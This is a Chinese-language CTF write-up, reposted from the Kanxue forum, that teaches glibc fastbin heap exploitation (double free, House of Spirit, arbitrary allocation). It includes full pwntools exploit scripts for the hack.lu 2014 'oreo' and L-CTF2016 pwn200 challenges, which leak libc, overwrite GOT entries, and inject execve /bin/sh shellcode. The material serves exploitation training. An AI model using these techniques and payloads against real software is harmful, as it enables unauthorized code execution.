其他
PWN:fastbin attack学习
本文为看雪论坛精华文章
看雪论坛作者ID:yichen115
fastbin
#include<stdio.h>
void main(){
char *a1=malloc(0x10);
memset(a1,0x41,0x10);
char *a2=malloc(0x10);
memset(a2,0x42,0x10);
char *a3=malloc(0x10);
memset(a3,0x43,0x10);
char *a4=malloc(0x30);
memset(a4,0x44,0x30);
char *a5=malloc(0x30);
memset(a5,0x45,0x30);
printf("malloc done!\n");
free(a1);
free(a2);
free(a3);
free(a4);
free(a5);
printf("free done\n");
}
Fastbin Double Free
House Of Spirit
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
#include <stdio.h>
#include <stdlib.h>
int main() {
malloc(1);
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
fake_chunks[1] = 0x20; // the size
fake_chunks[5] = 0x1234; // nextsize
fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[6] = 0x4141414141414141LL;
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
b = malloc(0x10);
fprintf(stderr, "malloc(0x10): %p\n", b);
b[0] = 0x4242424242424242LL;
}
首先在程序的第 14 行下个断点 b 14。
运行到这里可以看到 fake_chunk 目前还没有被我们写入:
b = malloc(0x10);
b[0] = 0x4242424242424242LL;
Alloc to Stack
Arbitrary Alloc
2014 hack.lu oreo
add('1'*20,'a'*20)
add('2'*20,'b'*20)
name = 'a'*27 + elf.got['puts']
count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/sh\x00')
from pwn import *
context.log_level = 'debug'
p=process('./oreo')
elf=ELF('./oreo')
libc = ELF('./libc.so.6')
def cmd(choice):
p.sendline(str(choice))
def add(name,description):
cmd(1)
p.sendline(name)
p.sendline(description)
def show():
cmd(2)
p.recvuntil('===================================\n')
def order():
cmd(3)
def leave(notice):
cmd(4)
p.sendline(notice)
def stats():
cmd(5)
add('1'*20,'a'*20)
name = 'a'*27 + p32(elf.got['puts'])
add(name,'b'*20)
show()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
print hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)
order()
p.recvuntil('Okay order submitted!\n')
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/sh\x00')
p.interactive()
L-CTF2016–pwn200
首先通过 read 函数来泄露出来 rbp 中保存的地址:
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shellcode_addr = leak_addr - 0x50
p.recvuntil('id ~~?')
p.sendline('48')
p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
p.send(payload)
看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址:
from pwn import *
p = process("./pwn")
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
#len=0x30
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shell_addr = leak_addr - 0x50
print 'shellcode addr:'+hex(shell_addr)
print 'fake addr:'+hex(fake_addr)
print 'leak addr:'+hex(leak_addr)
p.recvuntil('id ~~?')
p.sendline('48')
p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
p.send(payload)
p.recvuntil('choice : ')
p.sendline('2')
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('\n48\n')
payload = '0' * 0x18 + p64(shell_addr)
payload = payload.ljust(48, '\x00')
p.send(payload)
p.recvuntil('choice : ')
p.sendline('3')
p.interactive()
本文经授权转载自作者公众号 陈冠男的游戏人生。
看雪ID:yichen115
https://bbs.pediy.com/user-home-837755.htm
*本文由看雪论坛 yichen115 原创。
推荐文章++++
求分享
求点赞
求在看